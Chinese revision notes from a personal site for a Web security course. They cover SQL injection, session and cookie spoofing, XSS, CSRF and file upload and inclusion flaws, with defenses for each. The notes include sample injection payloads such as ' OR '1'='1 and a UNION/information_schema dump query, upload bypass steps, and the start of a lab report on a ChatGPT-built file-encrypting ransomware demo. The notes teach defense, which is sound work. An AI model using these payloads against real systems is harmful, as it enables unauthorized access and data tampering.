Moyuan"s website

welcome to my website

Web安全技术与应用期末复习资料

题型分布

  • 填空题:(2*10)
  • 判断题:(2*10)
  • 问答题:(60) 4/5

复习建议

  • 熟记相关定义的英文缩写及中文名称,确保对各类概念有清晰理解。

第一篇 预备知识

项目1 Web 服务器平台安装与配置

  • 原理:搭建一个基本的 Web 服务器平台,包括操作系统 (Windows Server 2008)、Web 服务器 (Apache)、数据库 (MySQL) 和服务器端编程语言 (PHP)。

  • 概念:Web 服务器平台、操作系统、Web 服务器软件、数据库、服务器端编程语言、Web 开发基础 (HTML、CSS、JavaScript、PHP)。

  • 常见服务器操作系统

    • Windows Server
    • Linux/Unix
  • 主要Web服务器及市场占有率
    • Apache:47.0%
    • Nginx:37.7%
    • Microsoft IIS:10.0%
  • Apache优势
    • 开源、免费
    • 强大的社区支持
  • 关系型数据库管理系统(RDBMS)
    • Oracle, Microsoft SQL Server, IBM DB2, MySQL, PostgreSQL
  • 非关系型数据库(NoSQL)
    • MongoDB, Redis, Memcached
  • MySQL优势
    • 体积小、速度快、成本低
  • 服务器端编程语言
    • PHP(83.2%)
    • ASP, ASP.NET(13.8%)
    • Java(2.3%)

项目2 Web 开发基础

原理:学习 Web 开发基础,包括使用 MySQL 数据库进行数据操作,以及使用 HTML、CSS 和 JavaScript 进行静态网页和动态网页开发。

概念:数据库操作 (DDL、DML)、SQL 语句、HTML、CSS、JavaScript、PHP 动态网页开发。

知识储备

  1. 数据库管理系统 (DBMS)
  • 定义:操纵和管理数据库的大型软件,分为关系型和非关系型。

  • 常见DBMS:

    • 关系型:Oracle、MySQL、SQL Server。

    • 非关系型:MongoDB、Redis。

  • 特点:

    • 关系型数据库:支持事务完整性和一致性,使用SQL语言操作。
  1. 网页制作基础
  • 静态网页:

    • 仅供浏览,不与用户交互。

    • 示例:博客文章、QQ日志。

  • 动态网页:

    • 支持与Web服务器交互,如用户登录、评论功能。

    • 示例:微博、论坛。

  1. 网页前端语言
  • HTML:

    • 定义网页的结构。

    • 用标记语言描述内容,如表格、标题、图片。

  • CSS:

    • 定义网页的外观样式。

    • 层叠样式表,控制HTML元素的布局和设计。

  • JavaScript:

    • 定义网页的行为。

    • 添加交互功能,如动态时间显示。

  1. 网页后端语言
  • PHP:

    • 服务器端脚本语言,用于生成动态网页。

    • 特点:混合HTML标签编写,结果以HTML形式返回浏览器。

第二篇 SQL 注入攻击及防护

项目3 万能密码登录Post 型注入攻击

  • 原理:利用 SQL 注入攻击,通过构造特殊的用户名或密码,绕过登录验证,获取管理员权限。

  • 概念:SQL 注入攻击、万能密码、Session 验证、Post 请求、SQL 语句拼接。

URL
  • 定义:统一资源定位符(Uniform Resource Locator),用于定位Web资源。
  • 结构:由协议、域名、路径、参数组成。
表单 (Form)

概念:用于用户输入数据并提交给服务器的HTML组件,包括文本框、按钮、下拉列表等。

提交方式:

GET:

  • 参数通过URL传递,适合少量数据提交。

  • 不安全,数据会显示在地址栏。

POST:

  • 参数通过HTTP请求体传递,不显示在URL。

  • 安全性较高,适合大数据量传输。

对比见下表:

特性 Get方式 Post方式
URL显示 表单参数显示在URL中 表单参数不显示在URL中
长度限制 有限制(URL长度限制) 理论上无限
浏览器历史保存 参数保留在浏览器历史中 参数不保留在浏览器历史中
URL参数保存 可通过保存URL的方式保存参数 不可通过保存URL的方式保存参数
刷新提交机制 刷新不会重新提交 刷新会重新提交
字符编码限制 仅限ASCII字符(可能显示乱码) 无限制
Session机制

原理:

  • HTTP协议是无状态的,Session通过存储用户状态信息解决此问题。

  • 用户登录成功后,服务器生成Session ID,用户浏览器保存该ID。

  • 每次请求时携带Session ID,服务器验证用户状态。

流程:

  • 用户提交账号密码登录。

  • 服务器验证信息后建立Session会话。

  • 用户操作结束后,可通过注销功能销毁Session。

SQL注入攻击

原理:

通过在输入参数中插入恶意SQL语句,破坏原有SQL逻辑。

典型形式:万能密码,如 ‘ OR ‘1’=’1,条件恒成立,绕过登录验证。

1
SELECT * FROM users WHERE username='' OR '1'='1' AND passcode='任意内容';

常见变体:

  • 注释型:’or 1=1— (将后续语句注释掉)。

  • 条件型:’or 1=1#(将后续语句截断)。

危害:

  • 绕过权限登录。

  • 非授权访问、篡改数据库。

  • 挂马攻击、控制服务器。

防护方法

输入限制

使用正则表达式过滤

限制用户名和密码输入的字符类型,只允许字母、数字和下划线,禁止单引号等危险符号。

示例代码:

1
2
3
4
if (!preg_match('/^[a-zA-Z0-9_]{5,16}$/', $username)) {
echo "用户名格式错误!";
exit();
}

通俗解释
用户名只能是5到16位的英文字母、数字或下划线,如果输入包含'--等危险字符,会直接拦截。

前端校验

使用HTML5的pattern属性或JavaScript限制用户输入格式。

示例代码:

1
<input type="text" name="username" pattern="[a-zA-Z0-9_]{5,16}" required>

SQL查询优化

转义特殊字符

使用PHP函数对用户输入进行处理,转义SQL语句中的特殊字符,避免破坏语句结构。

常用函数:

  • addslashes():为单引号、双引号等特殊字符添加反斜杠。
  • mysqli_real_escape_string():更安全地转义SQL语句中的特殊字符。

示例代码:

1
2
$username = addslashes($username);
$password = addslashes($password);

通俗解释
如果用户输入了'or 1=1--,转义后会变成\''or 1=1--,SQL语句就无法被注入。

参数化查询(最有效的方法):

将SQL语句和用户输入分开处理,防止用户输入被解释为SQL指令。

使用PDO或MySQLi支持参数化查询,避免SQL注入。

示例代码(PDO):

1
2
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND passcode = :passcode");
$stmt->execute([':username' => $username, ':passcode' => $password]);

通俗解释
数据库会先处理SQL语句,再将用户输入作为参数加入,这样即使输入恶意代码,也只会当成普通文本。

防护方法对比

方法 优点 缺点
正则表达式过滤 简单易用,限制性强 需要严格定义规则,可能误判合法输入
转义特殊字符 使用方便,兼容性好 需注意宽字节字符集的风险
参数化查询 安全性高,根本性防护SQL注入 程序复杂性增加,对旧项目兼容性一般

项目4 数据库暴库Get 型注入攻击

  • 原理:利用 SQL 注入攻击,通过构造特殊的 URL 参数,获取数据库中的敏感信息,例如所有数据库名、所有数据表名、所有列名和所有数据。

  • 概念:SQL 注入攻击、Get 请求、SQL 语句拼接、联合查询、信息泄露。

HTML Get方式提交原理

Get方式特点:

表单数据以 变量=值 的形式附加到URL后,使用 ? 连接。

多个变量之间使用&分隔,例如:

1
http://example.com/?id=1&name=test

仅支持ASCII字符,非ASCII字符需通过URL编码(%加16进制)传递。

数据库暴库

定义:通过SQL注入等漏洞非法获取数据库内容。

实现原理:

利用SQL的UNION操作符,将攻击者构造的查询结果与正常查询结果合并。

结合MySQL内置的information_schema数据库,可获取数据库、表及列的结构信息。

示例查询:

1
2
3
SELECT * FROM books 
WHERE id='-1' UNION SELECT 1, group_concat(schema_name), 3
FROM information_schema.schemata;

关键点:

  • information_schema:MySQL内置数据库,保存数据库结构信息。
  • UNION:合并两个SELECT结果集,要求列数和数据类型匹配。
  • group_concat():将查询结果拼接为一行,方便显示。
Get型与Post型SQL注入的区别
特性 Get型 Post型
提交方式 参数附加在URL后 参数嵌入HTTP请求体
数据传递位置 浏览器地址栏显示 不显示
适用场景 超链接传递参数 表单提交数据
典型漏洞 查询操作时的SQL拼接漏洞 表单提交数据时的SQL拼接漏洞
防护方式
使用转义函数

通过 转义用户输入的内容,避免特殊字符(如单引号 ' 或双引号 ")对SQL语句的破坏。

具体实现

使用PHP的

1
mysqli_escape_string()

函数对输入内容进行处理:

1
2
3
$id = mysqli_escape_string($conn, $_GET['id']);
$sql = "SELECT * FROM books WHERE id='$id'";
$result = $conn->query($sql);

作用:

将用户输入中可能影响SQL逻辑的字符进行转义,例如:

  • ' 转换为 \'
  • " 转换为 \"
  • ; 转换为 \;

优点:

  • 简单易用,能防护常见的注入攻击。

缺点:

  • 宽字符绕过风险:在某些情况下,攻击者可以利用宽字符编码绕过转义。
  • 仍然属于 SQL语句拼接 的方式,不是最佳实践。
使用参数化查询(推荐方法)

参数化查询 是目前最推荐的防护方式。它通过将用户输入与SQL语句分离,避免用户输入直接影响SQL逻辑。

为什么参数化查询更安全?

  • 在参数化查询中,用户输入作为 参数 传递,而不是直接拼接到SQL语句中。
  • 数据库会将参数当作 普通数据 处理,而不会解析其中的特殊字符。

具体实现方式

MySQLi参数化查询

使用 MySQLi 的 prepare()bind_param() 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$conn = new mysqli("localhost", "username", "password", "lab");

// 检查连接是否成功
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}

// 准备SQL语句
$stmt = $conn->prepare("SELECT * FROM books WHERE id = ?");
$stmt->bind_param("i", $_GET['id']); // "i" 表示参数是整数类型

// 执行SQL查询
$stmt->execute();
$result = $stmt->get_result();

// 输出结果
while ($row = $result->fetch_assoc()) {
echo "Name: " . $row["name"] . " - Description: " . $row["description"] . "<br>";
}

$stmt->close();
$conn->close();
?>

代码解析

  • prepare():预编译SQL语句,将用户输入作为参数。
  • bind_param():绑定参数到SQL语句中。
  • execute():执行SQL语句时,数据库将用户输入当作普通数据,不会解析为SQL逻辑。

优点

  • 防护效果好,从根本上解决了SQL注入问题。
  • 安全性高,不需要额外处理转义或编码问题。

缺点

  • 需要学习和理解新语法。

PDO参数化查询

PDO 是PHP另一种操作数据库的方式,支持参数化查询。

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$dsn = "mysql:host=localhost;dbname=lab";
$username = "root";
$password = "";

try {
$pdo = new PDO($dsn, $username, $password);

// 设置PDO错误模式为异常
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

// 准备参数化SQL语句
$stmt = $pdo->prepare("SELECT * FROM books WHERE id = :id");
$stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);

// 执行SQL语句
$stmt->execute();

// 获取查询结果
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
echo "Name: " . $row["name"] . " - Description: " . $row["description"] . "<br>";
}
} catch (PDOException $e) {
echo "Error: " . $e->getMessage();
}
?>

代码解析

  • :id 是占位符,用户输入通过 bindParam() 绑定到占位符上。
  • PDO::PARAM_INT 指定参数的类型为整数,进一步增强安全性。

优点

  • 同样能从根本上防护SQL注入攻击。
  • 支持多种数据库(如MySQL、PostgreSQL、SQLite)。

缺点

  • 学习成本稍高。
其他防护措施

除了代码防护,还可以通过其他手段增强安全性:

  1. 限制用户输入

    对用户输入的数据进行严格的格式验证,例如只允许数字或字母。

    示例:

    1
    2
    3
    if (!is_numeric($_GET['id'])) {
    die("Invalid input");
    }

    优点:能阻止部分注入攻击。

    缺点:对复杂数据的防护有限。

  2. 限制数据库权限

    最小权限原则:

    • 应用程序使用的数据库账户只授予必要的权限(如查询和插入)。
    • 禁止高权限操作(如删除或修改数据库结构)。

    优点:即使注入攻击成功,损失也会减少。

    缺点:无法完全杜绝攻击。

  3. 使用Web应用防火墙(WAF)

    • 部署WAF可以检测和拦截常见的SQL注入攻击请求。
    • 优点:无需修改代码即可提供额外防护。
    • 缺点:需要额外的资源和配置。
防护对比总结
防护方式 优点 缺点
转义函数 简单易用,能防护基本攻击 有宽字符绕过风险,不彻底
参数化查询 根本性解决注入问题,安全性高 需要学习新的语法,稍复杂
限制用户输入 简单直接,适用于简单场景 不适用于复杂的数据输入
限制数据库权限 减少攻击损失,增强数据库安全 不能防止注入攻击发生
Web应用防火墙 提供额外的安全层,拦截多种攻击 需要额外配置,可能影响性能

项目5 更新密码二阶注入攻击

  • 原理:利用 SQL 注入攻击,通过注册一个特殊的账号,并使用修改密码功能,绕过权限检查,修改其他账号的密码。

  • 概念:SQL 注入攻击、二阶注入攻击、Session 验证、SQL 语句拼接、信息泄露。

二阶SQL注入

定义

  • 一阶注入:攻击字符串直接通过HTTP请求注入数据库,立即执行(如万能密码)。
  • 二阶注入:攻击字符串先存储在数据库中,再通过后续查询或更新操作引发攻击。

特点

  • 隐蔽性强,绕过一次性防护措施(如转义)。
  • 攻击在二次数据库交互时发生。

危害

  • 修改或删除数据库内容。
  • 篡改敏感数据(如用户密码)。
更新密码与二阶注入攻击

在密码更新过程中,若SQL语句未对输入数据进行防护,可能引发二阶注入。

示例:更新密码时,使用未处理的用户数据构造SQL语句:

1
UPDATE users SET passcode = '$pass' WHERE username = '$username';

如果$username中包含恶意SQL代码(如admin'#),可能导致更新逻辑被破坏。

分析

注册功能

使用转义函数处理输入,将单引号和井号转义后存储,未破坏SQL语句逻辑。

示例SQL语句:

1
INSERT INTO users (username, passcode) VALUES ('admin\'#', '123456');

更新密码功能

更新密码时未对输入参数进行完整防护。

构造的SQL语句:

1
UPDATE users SET passcode = 'admin' WHERE username = 'admin'# AND passcode = '123456';

#注释掉后续条件,使得查询条件变为:

1
UPDATE users SET passcode = 'admin' WHERE username = 'admin';

结果:仅用户admin的密码被修改。

二阶注入攻击防护
  1. PHP转义函数

    使用 mysqli_real_escape_string() 转义特殊字符。

    修改代码:

    1
    $username = mysqli_real_escape_string($conn, $_SESSION['username']);

    测试结果:

    重新登录并修改密码,数据库中admin'#的密码被更新,而admin的密码保持不变。

  2. MySQLi参数化更新

    使用参数化查询防护注入攻击。

    示例代码:

    1
    2
    3
    $stmt = $conn->prepare("UPDATE users SET passcode = ? WHERE username = ? AND passcode = ?");
    $stmt->bind_param("sss", $new_pass, $username, $current_pass);
    $stmt->execute();

    测试结果:

    更新密码功能正常,防护二阶注入攻击。

  3. 正则表达式过滤

    对用户名和密码设置规范:

    只能使用小写字母、数字和下划线,长度限制32字符。

    示例代码:

    1
    2
    3
    if (!preg_match('/^[a-z0-9_]{1,32}$/', $username)) {
    die("用户名格式不合法");
    }
  • 原理:利用 SQL 注入攻击,通过修改浏览器的 Cookie 信息,绕过登录验证,获取用户权限。

  • 概念:SQL 注入攻击、Cookie、SessionID、信息泄露、Cookie 编辑插件。

Cookie的概念
  • 定义
    • Cookie是Web服务器存储在客户端的一小段数据,用于保存用户状态。
    • 应用场景:免登录功能、保存用户偏好、统计访问数据等。
  • 格式
    • 键值对:key=value
    • URL编码:键和值必须进行URL编码。
    • 多对Cookie之间用分号和空格分隔。
  • 生命周期
    • 设置Expires属性决定Cookie的有效期。
    • 不设置Expires:浏览器关闭后Cookie失效。
Cookie与Session的区别
特性 Cookie Session
存储位置 客户端 服务器
信息安全性 较低,用户可查看和修改 较高,用户无法直接访问
适用场景 保存用户偏好、免登录等 保存用户状态(如登录状态)
Cookie注入攻击
  • 原理
    • 攻击者通过修改Cookie的内容,将恶意SQL语句嵌入其中,提交给服务器。
    • 攻击过程类似于Post型或Get型SQL注入,但更隐蔽。
  • 危害
    • 数据库暴露:泄露敏感数据。
    • 系统篡改:修改或破坏数据库内容。
    • Cookie SQL 注入攻击与常见的 GET/POST SQL 注入方式类似,其区别仅在于数据提交方式的不同,但危害一致。通过不当的查询操作,攻击者可访问甚至更改数据库中的敏感信息。
Cookie注入攻击防护
  1. 转义函数

    • 使用mysqli_real_escape_string()对Cookie值进行转义。

    • 修改代码:

      1
      $cookee = mysqli_real_escape_string($con, $_COOKIE['account']);
    • 测试结果:

      • 修改Cookie内容后,SQL注入攻击失效。
  2. 参数化查询

    • 使用MySQLi或PDO实现参数化查询。

    • 示例代码:

      1
      2
      3
      $stmt = $con->prepare("SELECT * FROM users WHERE username = ?");
      $stmt->bind_param("s", $_COOKIE['account']);
      $stmt->execute();

项目7 HTTP 头部注入攻击

  • 原理:利用 SQL 注入攻击,通过修改浏览器的 HTTP 头部信息,绕过登录验证,获取用户权限。

  • 概念:SQL 注入攻击、HTTP 头部、User-Agent、信息泄露、Live HTTP Headers 插件。

第三篇 前端攻击及防护

项目8 Session 欺骗攻击

  • 原理:利用 Session 欺骗攻击,通过复制登录用户的 SessionID,绕过登录验证,获取用户权限。

  • 概念:Session 欺骗、SessionID、信息泄露、User-Agent 验证、退出登录。

Session欺骗攻击基础
  1. Session的工作原理
    • 用户登录后,服务器端生成Session用于保存用户状态,并创建一个SessionID作为用户身份标识。
    • 浏览器通过Cookie存储SessionID,并在后续访问中将SessionID发送至服务器进行身份验证。
  2. Session欺骗攻击原理
    • 攻击者通过复制合法用户的SessionID,使未授权的用户伪装成已登录用户,从而获得相应的访问权限。
    • 攻击者通常无法完成需要密码确认的操作(如修改密码)。
  3. Session欺骗的危害
    • 身份被冒用可能导致权限控制失效。
    • 未经授权的用户可能访问敏感资源。
Session欺骗攻击测试
  1. 攻击步骤
    • 环境准备:利用已有登录功能的网站(如项目3),在不同浏览器上实施攻击。
    • 获取SessionID:
      • 在浏览器中登录后,通过开发者工具或插件(如Live HTTP Headers)获取SessionID。
    • 实施攻击:
      • 在另一浏览器中通过修改请求头中的SessionID,伪装为已登录用户。
  2. 测试现象
    • 未登录的情况下,通过伪造SessionID可以直接获得与登录用户相同的权限。
Session欺骗防护措施
1. 使用注销机制
  • 用户退出登录时调用服务器端的注销函数(如logout.php),销毁Session。
  • 避免仅关闭浏览器,而未主动注销登录造成Session仍有效。
2. 设置Session的生存时间
  • PHP默认Session有效期为1440秒(24分钟)。
  • 在程序中严格控制Session生存时间,避免长期暴露的SessionID被盗用。
3. 检测User-Agent的一致性
  • 登录后将浏览器的User-Agent信息存储在Session中。
  • 每次请求时比对User-Agent是否一致,不一致则判定为异常访问。
4. 重置SessionID
  • 在Session会话启动或刷新时调用session_regenerate_id(true)重置SessionID,使旧的SessionID失效。
  • 此方法虽不能完全防护,但可增加攻击难度。
  • 原理:利用 Cookie 欺骗攻击,通过复制登录用户的 Cookie 信息,绕过登录验证,获取用户权限。

  • 概念:Cookie 欺骗、信息泄露、特殊键值对、User-Agent 验证、退出登录。

Cookie工作原理
  • Cookie定义:存储于客户端,用于保存用户信息的小型文本数据。
  • 用途:会话保持、免登录认证等。
  • 有效期:可以设置生命周期,短期存储会话信息或长期存储用户信息。
Cookie欺骗攻击
  • 原理:攻击者获取或猜测合法用户的Cookie,将其伪装注入其他浏览器,绕过身份验证。
  • 危害:
    • 攻击者获得合法用户权限。
    • Cookie长期有效,比Session更易被攻击。
Cookie欺骗测试
  1. 准备工作:
    • 修改数据库(添加记录客户端信息的字段)。
    • 在现有网站中启用Cookie认证。
  2. 测试过程:
    • 方式一:直接猜测Cookie键值对。
    • 方式二:在一个浏览器中登录获取Cookie信息,复制到另一浏览器实现欺骗。
防护措施
  1. 设置特殊键值对:
    • 使用MD5散列登录密码生成不易猜测的键值对。
  2. 检测User-Agent一致性:
    • 登录时将User-Agent信息保存为散列值,后续请求中比对一致性。

项目10 XSS 跨站攻击

  • 原理:利用 XSS 跨站攻击,通过在用户输入的内容中嵌入恶意脚本,绕过浏览器安全机制,执行攻击者控制的代码。

  • 概念:XSS 跨站攻击、持久型 XSS、非持久型 XSS、HTML 转义、JavaScript 转义、Cookie 的 HttpOnly 属性。

基础知识
  1. XSS跨站攻击原理
    • XSS表示Cross Site Scripting,用于区别于CSS(层叠样式表)。
    • 本质:通过提交恶意HTML或JavaScript代码,当被嵌入网页后,代码会被执行,导致网页运行非设计功能的脚本。
    • 常见场景:用户提交信息(如发帖、留言等)中嵌入恶意代码。
  2. XSS攻击分类
    • 非持久型XSS攻击:恶意代码不存储在数据库中。
    • 持久型XSS攻击:恶意代码存储在数据库中,浏览器解析时会被执行。
  3. XSS攻击危害
    • 干扰网页正常功能(如弹窗攻击)。
    • 窃取用户Cookie,威胁账号安全。
    • 执行其他攻击(如Session欺骗、获取敏感信息等)。
XSS攻击防护
  • 设置Cookie的HttpOnly属性:
    • 修改PHP代码:使用setcookie()函数设置HttpOnly
    • 效果:阻止JavaScript脚本访问Cookie,避免SessionID被窃取。
  • HTML转义:
    • 方法:对用户输入的HTML代码进行转义。
    • 示例:使用htmlentities()htmlspecialchars()函数。
    • 效果:防止恶意HTML或JavaScript代码被浏览器解析和执行。
  • JavaScript转义:
    • 问题:JavaScript中可通过Unicode编码绕过HTML转义。
    • 解决方案:使用json_encode()函数对用户数据进行安全编码。

项目11 CSRF 跨站伪造请求攻击

  • 原理:利用 CSRF 跨站伪造请求攻击,通过诱导用户点击恶意链接,以用户的名义向目标网站发送请求,执行恶意操作。

  • 概念:CSRF 跨站攻击、同源策略、HTTP Referer 验证、操作确认对话框、Token 验证。

CSRF攻击基础知识
  1. CSRF攻击的原理
    • 全称:Cross Site Request Forgery(跨站伪造请求)。
    • 核心机制:利用用户浏览器中保存的身份认证信息(如Cookie),在用户不知情的情况下伪造请求并冒用用户身份。
    • 形成条件:
      • 用户已登录目标网站,浏览器中保存了认证Cookie。
      • 用户访问了另一个含有恶意代码的网页,该网页向目标网站发起伪造请求。
    • 关键特点:攻击者无法直接获取用户数据,但可冒充用户操作。
  2. CSRF攻击的危害
    • 在用户不知情的情况下完成伪造操作(如转账、消费积分、修改信息等)。
    • 破坏网站的权限控制机制。
    • 危害程度依赖于目标网站的敏感操作内容。
CSRF攻击测试
  1. 测试过程
    • 测试前提:用户在浏览器中已登录目标网站。
    • 测试实施:
      • 在保持目标网站登录状态的浏览器中,访问攻击网页(csrf.html)。
      • 点击攻击链接,目标网站后台接收伪造请求并添加恶意用户。
    • 测试现象:
      • 用户未察觉情况下,目标网站新增了恶意用户。
    • 测试条件分析:
      • 成功的CSRF攻击需满足以下条件:
        1. 用户登录目标网站。
        2. 用户访问了含有恶意代码的网页。
  2. 测试结论
    • CSRF攻击的本质是利用了用户身份认证机制的漏洞。
    • Get和Post请求均可用于CSRF攻击(通过隐藏表单实现Post提交)。
CSRF攻击防护

防护方法1:HTTP Referer验证

  • 原理:

    • 检查请求头中的Referer字段,验证请求来源是否合法。
  • 实现步骤:

    1. 修改do_adduser.php文件,添加Referer验证函数:

      1
      2
      3
      4
      5
      6
      function check_referrer($referer) {
      if ($_SERVER['HTTP_REFERER'] !== $referer) {
      die('Invalid request source');
      }
      }
      check_referrer('http://localhost/csrf/newuser.html');
    2. 重复CSRF攻击测试,验证攻击失败。

  • 优缺点:

    • 优点:有效拦截非正常来源的请求。
    • 缺点:依赖于浏览器的Referer字段支持,部分浏览器可能关闭此字段。

防护方法2:操作确认对话框

  • 原理:
    • 在敏感操作前弹出确认对话框,用户手动确认操作真实性。
  • 实现步骤:
    1. 修改do_adduser.php文件,添加操作确认提示。
    2. 当用户点击恶意链接时,弹出提示,选择“否”可阻止伪造操作。
  • 优缺点:
    • 优点:阻止用户误操作。
    • 缺点:用户可能忽略提示直接确认。

其他防护方法

  • 使用Token验证:
    • 在表单中嵌入唯一Token,提交请求时验证Token是否合法。
    • 缺点:攻击者可通过先访问合法表单获取Token后再发起伪造请求。
  • 设置Cookie的HttpOnly属性:
    • 阻止JavaScript访问Cookie,减少SessionID被窃取的风险。

项目12 验证码

  • 原理:利用验证码,通过人工识别的方式,防止自动化工具进行密码破解等恶意攻击。

  • 概念:验证码、CAPTCHA、OCR、机器学习、在线暴力攻击、人机识别。

基础知识
  1. Web登录密码暴力破解原理
    • 暴力破解方法:利用字典枚举所有可能的用户名和密码组合,逐一尝试登录。
    • 自动化工具:通过软件模拟HTTP登录请求,检查服务器返回信息确认登录是否成功。
    • 常用工具:Hydra,支持多种协议的在线密码暴力破解工具。
  2. 验证码的作用
    • 验证码(CAPTCHA)是“Completely Automated Public Turing test to tell Computers and Humans Apart”(全自动区分计算机和人类的图灵测试)的缩写,是一种区分用户是计算机还是人的公共全自动程序。验证码用于区分计算机与人类用户,防止自动化攻击。
    • 常见用途:
      • 防止密码暴力破解。
      • 防止自动化批量注册。
      • 防止恶意搜索和刷票等活动。
  3. 验证码设计要点
    • 服务器端生成验证码,确保无法通过客户端伪造。
    • 验证码需有有效期和使用限制,避免重复使用。
    • 验证码复杂度需平衡安全性与用户体验。
  4. 验证码面临的挑战
    • OCR(光学字符识别)技术和机器学习的发展使简单验证码易被破解。
    • 图片滑动验证(如阿里云)和reCAPTCHA等复杂验证方式是应对现代攻击的主流方案。
拓展思考
  1. 哪些功能需要验证码?
    • 登录页面、防止暴力破解。
    • 用户注册、防止批量注册。
    • 敏感操作(如密码重置、防止账户盗用)。
  2. 验证码能否杜绝自动化攻击?
    • 验证码难以完全杜绝自动化攻击,但能大幅提高攻击成本。
    • 强化验证码方案(如短信验证、滑动验证)是更安全的选择。
  3. 如何应对高级攻击?
    • 结合多因素认证(如动态口令、硬件令牌)。
    • 监控异常登录行为并触发额外验证。

第四篇 文件漏洞及防护

项目13 文件上传漏洞

  • 原理:利用文件上传漏洞,上传恶意文件,获取服务器权限,甚至控制整个系统。

  • 概念:文件上传漏洞、MIME 类型检测、文件类型过滤、0x00 截断、文件解析漏洞、白名单过滤、黑名单过滤。

基础知识
  1. 文件上传漏洞概述
    • 文件上传是Web系统中常见功能,但由于控制不严格,攻击者可能通过漏洞上传恶意文件(如网页木马),实现对服务器的控制。
    • 主要的文件上传漏洞类型:
      • MIME类型检测绕过
      • 文件类型过滤不严格
      • 文件名/路径0x00截断漏洞
  2. 常见文件上传漏洞类型
    • MIME文件上传漏洞:
      • MIME(多用途互联网邮件扩展类型)通过HTTP协议为文件提供数据格式标识。
      • 攻击方式:利用抓包工具修改文件的MIME类型,绕过服务器检测。
    • 文件类型过滤不严格:
      • 文件扩展名检查时未考虑大小写或未严格匹配。
      • 例如:通过.Php绕过.php过滤规则。
    • 文件名/路径0x00截断漏洞:
      • 利用0x00(空字符)的截断特性,使服务器保存的文件名被截断。
      • 例:文件名1.php 0x00 abc.jpg在某些低版本PHP中被保存为1.php
文件上传漏洞攻击测试
  1. 工具选择
    • 使用Fiddler进行抓包和HTTP数据包编辑。
    • 其他抓包工具(如Burp Suite、Wireshark)也可用于类似测试。
  2. 漏洞攻击类型
    • MIME文件上传漏洞
      • 步骤:
        1. 创建一个.php文件(如info.php),测试直接上传是否被服务器阻止。
        2. 使用Fiddler抓包,修改文件的MIME类型为允许的类型(如image/jpeg)。
        3. 重放修改后的请求,成功绕过文件类型检测,上传.php文件。
        4. 通过浏览器访问上传的.php文件,确认被服务器解析。
      • 原理:服务器通过$_FILES['file']['type']读取MIME类型,容易被抓包工具篡改。
    • 0x00截断路径上传漏洞
      • 步骤:
        1. .php文件改名为.jpg,上传时使用Fiddler抓包。
        2. 在上传路径中插入0x00(空字符),如1.php0x00info.jpg
        3. 重放修改后的请求,成功将文件保存为.php类型,并利用漏洞访问。
      • 原理:低版本PHP中未对路径合法性进行严格检查,0x00之后的内容会被截断。
  3. 攻击分析
    • MIME类型检测不可靠,易被抓包工具修改绕过。
    • 文件名/路径的0x00截断漏洞在低版本PHP中存在,但高版本PHP已修复。
文件上传漏洞防护
  1. 防护方法
    • 判断路径变量:
      • 使用路径白名单机制,限制路径变量为预定义的合法值。
      • 在低版本PHP中,可有效防护路径截断攻击。
    • 文件重命名:
      • 上传文件时,重新生成唯一文件名,并以白名单中允许的扩展名保存。
      • 优点:防止文件名截断和超长文件名攻击。
      • 缺点:无法防止路径截断问题。
    • 设置非Web目录保存文件:
      • 将上传文件存储在非Web目录下(如C:\uploads),避免直接访问上传文件。
      • 使用readfile()函数读取文件内容并提供下载。
  2. 防护效果测试
    • 升级PHP版本后,确认0x00路径截断漏洞修复。
    • 针对MIME检测绕过,验证文件扩展名过滤的可靠性。
    • 测试非Web目录方案,确保文件无法直接通过URL访问。
拓展思考
  1. 如何利用0x00截断攻击上传文件?
    • 在上传路径中插入0x00字符,截断路径或文件名以实现攻击。
    • 示例路径:uploads/1.php0x00info.jpg
  2. 如何使用黑名单过滤文件上传?
    • 列出所有不允许的文件扩展名(如.php.exe)。
    • 缺点:无法穷尽所有可能的恶意扩展名,不如白名单可靠。

项目14 文件下载漏洞

  • 原理:利用文件下载漏洞,下载服务器中的敏感信息,例如数据库、配置文件等。

  • 概念:文件下载漏洞、open_basedir 安全选项、正则表达式过滤、路径参数过滤。

定义:攻击者通过漏洞下载服务器中的敏感文件

防护方法

  1. 使用open_basedir限制PHP脚本访问目录
  2. 使用正则表达式过滤路径参数
  3. 验证并限制用户输入的路径参数

项目15 文件解析漏洞

  • 原理:利用 Apache 服务器的文件解析漏洞,绕过文件类型限制,上传 PHP 木马文件,获取服务器权限。

  • 概念:文件解析漏洞、Apache 解析特性、.htaccess 文件、文件类型限制、危险函数。

定义:绕过文件类型限制,上传并解析恶意文件获取服务器权限

防护方法

  1. 使用.htaccess限制文件解析类型
  2. 严格文件类型检查,允许特定类型
  3. 禁用危险函数(如exec(), system()

项目16 文件包含漏洞

  • 原理:利用文件包含漏洞,包含服务器中的非法文件,执行恶意代码,获取服务器权限。

  • 概念:文件包含漏洞、open_basedir 安全选项、正则表达式过滤、文件名过滤。

定义:通过包含非法文件执行恶意代码,获取服务器权限

防护方法

  1. 使用open_basedir限制包含文件目录
  2. 使用正则表达式过滤文件名
  3. 仅允许特定文件名或路径包含

实验报告:基于勒索病毒、机器学习和深度学习的恶意程序检测研究

实验背景

随着信息技术的迅猛发展,计算机病毒的种类和数量不断增加,给信息安全带来了严峻挑战。传统的病毒检测方法主要依赖特征码和启发式分析,但在应对新型和变种病毒时效果有限。机器学习和深度学习作为现代人工智能的重要分支,提供了新的解决方案。恶意程序是网络安全的重要威胁,其中勒索病毒尤为严重,通过加密受害者文件索取赎金。本实验分三个部分:

  1. 设计一个简单的勒索病毒Demo,了解恶意程序的基本行为。
  2. 利用机器学习方法检测恶意程序。
  3. 利用深度学习方法检测并分类恶意程序。

第一部分:勒索病毒Demo设计

实验目的

利用ChatGPT实现一个勒索病毒的简化模型,模拟文件加密与解密流程,探究恶意程序的行为特征。

技术实现
  1. 加密功能:
    • 遍历当前目录及子目录中的所有文件。
    • 使用简单的异或加密算法(XOR)加密文件内容,并将加密后的文件扩展名改为.exe
    • 删除原始文件,保留加密后的文件。
  2. 解密功能:
